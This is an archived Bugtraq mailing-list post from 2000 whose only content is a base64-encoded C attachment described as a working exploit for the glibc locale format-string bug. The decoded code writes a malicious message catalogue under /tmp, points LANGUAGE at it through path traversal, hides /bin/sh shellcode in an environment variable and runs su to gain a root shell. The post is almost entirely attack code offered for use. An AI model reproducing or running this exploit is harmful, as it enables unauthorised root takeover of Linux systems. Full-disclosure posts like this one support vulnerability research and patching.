[16632] in bugtraq
Re: glibc/locale exploit for linux/x86
daemon@ATHENA.MIT.EDU (Razl Saura)
Thu Sep 7 12:05:02 2000
Mime-Version: 1.0
Content-Type: multipart/mixed;
Boundary="0__=Ofbd4DtuZakHRcda3KR1NsvtiCHqVZqW5BLjLzb8rsBKfgZhjb0JMNqx"
Content-Disposition: inline
Message-Id: <C1256953.0042781F.00@avimsi01.retevision.es>
Date: Thu, 7 Sep 2000 14:08:57 +0200
Reply-To: rsaura@RETEVISION.ES
From: Razl Saura <rsaura@RETEVISION.ES>
To: BUGTRAQ@SECURITYFOCUS.COM
--0__=Ofbd4DtuZakHRcda3KR1NsvtiCHqVZqW5BLjLzb8rsBKfgZhjb0JMNqx
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
attached is a working version of the exploit:
(See attached file: locale.c)
--0__=Ofbd4DtuZakHRcda3KR1NsvtiCHqVZqW5BLjLzb8rsBKfgZhjb0JMNqx
Content-type: application/octet-stream;
name="locale.c"
Content-Disposition: attachment; filename="locale.c"
Content-transfer-encoding: base64
LyogZXhwbG9pdCBmb3IgZ2xpYmMvbG9jYWxlIGZvcm1hdCBzdHJpbmdzIGJ1Zy4KICogVGVzdGVk
IGluIFJlZEhhdCA2LjIgd2l0aCBrZXJuZWwgMi4yLjE2LgogKiBTY3JpcHQga2lkZGllczogeW91
IHNob3VsZCBtb2RpZnkgdGhpcyBjb2RlCiAqIHNsaWdodGx5IGJ5IHlvdXJzZWxmLiA6KQogKgog
KiBHcmVldHM6IFNvbGFyIERlc2lnbmVyLCBKb3VrbyBQeW5udm5lbiAsIHplbml0aCBwYXJzZWMK
ICoKICogVEhJUyBDT0RFIElTIEZPUiBFRFVDQVRJT05BTCBQVVJQT1NFIE9OTFkgQU5EIFNIT1VM
RCBOT1QgQkUgUlVOIElOCiAqIEFOWSBIT1NUIFdJVEhPVVQgUEVSTUlTU0lPTiBGUk9NIFRIRSBT
WVNURU0gQURNSU5JU1RSQVRPUi4KICoKICogICAgICAgICAgIGJ5IHdhcm5pbmczQG5zZm9jdXMu
Y29tIChodHRwOi8vd3d3Lm5zZm9jdXMuY29tKQogKiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB5MmsvOS82CiAqLwoKI2luY2x1ZGUgPHN0ZGxpYi5oPgojaW5jbHVkZSA8c3Rk
aW8uaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgoKI2RlZmluZSBERUZBVUxUX09GRlNFVCAgICAgICAg
ICAgICAgICAgIDU1MAojZGVmaW5lIERFRkFVTFRfQUxJR05NRU5UICAgICAgICAgICAgICAgICAy
CiNkZWZpbmUgREVGQVVMVF9SRVRMT0MgICAgICAgICAgIDB4YmZmZmQyNTAKI2RlZmluZSBERUZB
VUxUX0JVRkZFUl9TSVpFICAgICAgICAgICAgMjA0OAojZGVmaW5lIERFRkFVTFRfRUdHX1NJWkUg
ICAgICAgICAgICAgICAxMDI0CiNkZWZpbmUgTk9QICAgICAgICAgICAgICAgICAgICAgICAgICAg
IDB4OTAKI2RlZmluZSBQQVRIICAgICAgICAgICAgICIvdG1wL0xDX01FU1NBR0VTIgoKY2hhciBz
aGVsbGNvZGVbXSA9CiAgIlx4ZWJceDFmXHg1ZVx4ODlceDc2XHgwOFx4MzFceGMwXHg4OFx4NDZc
eDA3XHg4OVx4NDZceDBjXHhiMFx4MGIiCiAgIlx4ODlceGYzXHg4ZFx4NGVceDA4XHg4ZFx4NTZc
eDBjXHhjZFx4ODBceDMxXHhkYlx4ODlceGQ4XHg0MFx4Y2QiCiAgIlx4ODBceGU4XHhkY1x4ZmZc
eGZmXHhmZi9iaW4vc2giOwoKCnVuc2lnbmVkIGxvbmcgZ2V0X2VzcCh2b2lkKSB7CiAgIF9fYXNt
X18oIm1vdmwgJWVzcCwlZWF4Iik7Cn0KCgogbWFpbihpbnQgYXJnYywgY2hhciAqYXJndltdKSB7
CiAgY2hhciAqYnVmZiwgKmJ1ZmYxLCAqcHRyLCAqZWdnOwogIGNoYXIgKmVudlszXTsKICBsb25n
IHNoZWxsX2FkZHIscmV0bG9jPURFRkFVTFRfUkVUTE9DLHRtcGFkZHI7CiAgaW50IG9mZnNldD1E
RUZBVUxUX09GRlNFVCwgYWxpZ249REVGQVVMVF9BTElHTk1FTlQ7CiAgaW50IGJzaXplPURFRkFV
TFRfQlVGRkVSX1NJWkUsIGVnZ3NpemU9REVGQVVMVF9FR0dfU0laRTsKICBpbnQgaSxyZXRoLHJl
dGwsbnVtPTExMTsKICBGSUxFICpmcDsKCiAgaWYgKGFyZ2MgPiAxKSBzc2NhbmYoYXJndlsxXSwi
JXgiLCZyZXRsb2MpOwogIGlmIChhcmdjID4gMikgb2Zmc2V0ICA9IGF0b2koYXJndlsyXSk7CiAg
aWYgKGFyZ2MgPiAzKSBudW0gPSBhdG9pKGFyZ3ZbM10pOwogIGlmIChhcmdjID4gNCkgYWxpZ24g
PSBhdG9pKGFyZ3ZbNF0pOwogIGlmIChhcmdjID4gNSkgYnNpemUgICA9IGF0b2koYXJndls1XSk7
CiAgaWYgKGFyZ2MgPiA2KSBlZ2dzaXplID0gYXRvaShhcmd2WzZdKTsKCgoKICBwcmludGYoIlVz
YWdlczogJXMgPFJFVGxvYz4gPG9mZnNldD4gPG51bT4gPGFsaWduPiA8YnVmZnNpemU+IDxlZ2dz
aXplPiBcbiIsYXJndlswXSk7CgogIGlmICghKGJ1ZmYgPSBtYWxsb2MoZWdnc2l6ZSkpKSB7CiAg
ICAgICBwcmludGYoIkNhbid0IGFsbG9jYXRlIG1lbW9yeS5cbiIpOwogICAgICAgZXhpdCgwKTsK
ICAgIH0KCgogIGlmICghKGJ1ZmYxID0gbWFsbG9jKGJzaXplKSkpIHsKICAgICAgIHByaW50Zigi
Q2FuJ3QgYWxsb2NhdGUgbWVtb3J5LlxuIik7CiAgICAgICBleGl0KDApOwogICAgfQoKICBpZiAo
IShlZ2cgPSBtYWxsb2MoZWdnc2l6ZSkpKSB7CiAgICBwcmludGYoIkNhbid0IGFsbG9jYXRlIG1l
bW9yeS5cbiIpOwogICAgZXhpdCgwKTsKICB9CgogICAgcHJpbnRmKCJVc2luZyBSRVQgbG9jYXRp
b24gYWRkcmVzczogMHgleFxuIiwgcmV0bG9jKTsKICAgIHNoZWxsX2FkZHIgPSBnZXRfZXNwKCkg
KyBvZmZzZXQ7CiAgICBwcmludGYoIlVzaW5nIFNoZWxsY29kZSBhZGRyZXNzOiAweCV4XG4iLCBz
aGVsbF9hZGRyKTsKCiAgICByZXRoID0gKHNoZWxsX2FkZHIgPj4gMTYpICYgMHhmZmZmIDsKICAg
IHJldGwgPSAoc2hlbGxfYWRkciA+PiAgMCkgJiAweGZmZmYgOwoKICAgIHB0ciA9IGJ1ZmY7Cgog
ICAgZm9yIChpID0gMDsgaSA8MiA7IGkrKywgcmV0bG9jKz0yICl7CiAgICAgICBtZW1zZXQocHRy
LCdBJyw0KTsKICAgICAgIHB0ciArPSA0IDsKICAgICAgICgqcHRyKyspID0gIHJldGxvYyAmIDB4
ZmY7CiAgICAgICAoKnB0cisrKSA9IChyZXRsb2MgPj4gOCAgKSAmIDB4ZmYgOwogICAgICAgKCpw
dHIrKykgPSAocmV0bG9jID4+IDE2ICkgJiAweGZmIDsKICAgICAgICgqcHRyKyspID0gKHJldGxv
YyA+PiAyNCApICYgMHhmZiA7CiAgICAgIH0KCiAgICAgbWVtc2V0KHB0ciwnQScsYWxpZ24pOwoK
ICAgICBwdHIgPSBidWZmMTsKCiAgICAgZm9yKGkgPSAwIDsgaSA8IG51bSA7IGkrKyApCiAgICAg
ewogICAgICAgIG1lbWNweShwdHIsICIlLjh4IiwgNCk7CiAgICAgICAgcHRyICs9IDQ7CiAgICAg
fQoKICAgICBzcHJpbnRmKHB0ciwgIiUleCUlJXVjJSVobiUlJXVjJSVobiIsKHJldGwgLSBudW0q
OCksCiAgICAgICAgICAgICAgKDB4MTAwMDAgKyByZXRoIC0gcmV0bCAtIDYpKTsKCgogICAgbWtk
aXIoUEFUSCwwNzU1KTsKICAgIGNoZGlyKFBBVEgpOwogICAgZnAgPSBmb3BlbigibGliYy5wbyIs
ICJ3KyIpOwogICAgZnByaW50ZihmcCwibXNnaWQgXCIlJXM6IGludmFsaWQgb3B0aW9uIC0tICUl
Y1xcblwiXG4iKTsKICAgIGZwcmludGYoZnAsIm1zZ3N0ciBcIiVzXFxuXCIiLCBidWZmMSk7CiAg
ICBmY2xvc2UoZnApOwogICAgc3lzdGVtKCIvdXNyL2Jpbi9tc2dmbXQgbGliYy5wbyAtbyBsaWJj
Lm1vIik7CgoKICAgIHB0ciA9IGVnZzsKICAgIGZvciAoaSA9IDA7IGkgPCBlZ2dzaXplIC0gc3Ry
bGVuKHNoZWxsY29kZSkgLSAxOyBpKyspCiAgICAgICoocHRyKyspID0gTk9QOwoKICAgIGZvciAo
aSA9IDA7IGkgPCBzdHJsZW4oc2hlbGxjb2RlKTsgaSsrKQogICAgICAqKHB0cisrKSA9IHNoZWxs
Y29kZVtpXTsKCiAgICBlZ2dbZWdnc2l6ZSAtIDFdID0gJ1wwJzsKCiAgICBtZW1jcHkoZWdnLCAi
RUdHPSIsIDQpOwogICAgZW52WzBdID0gZWdnIDsKICAgIGVudlsxXSA9ICJMQU5HVUFHRT1za19T
Sy8uLi8uLi8uLi8uLi8uLi8uLi90bXAiOwogICAgZW52WzJdID0gKGNoYXIgKikwIDsKCiAgICBl
eGVjbGUoIi9iaW4vc3UiLCJzdSIsIi11IiwgYnVmZiwgTlVMTCxlbnYpOwoKfSAgLyogZW5kIG9m
IG1haW4gKi8K
--0__=Ofbd4DtuZakHRcda3KR1NsvtiCHqVZqW5BLjLzb8rsBKfgZhjb0JMNqx--
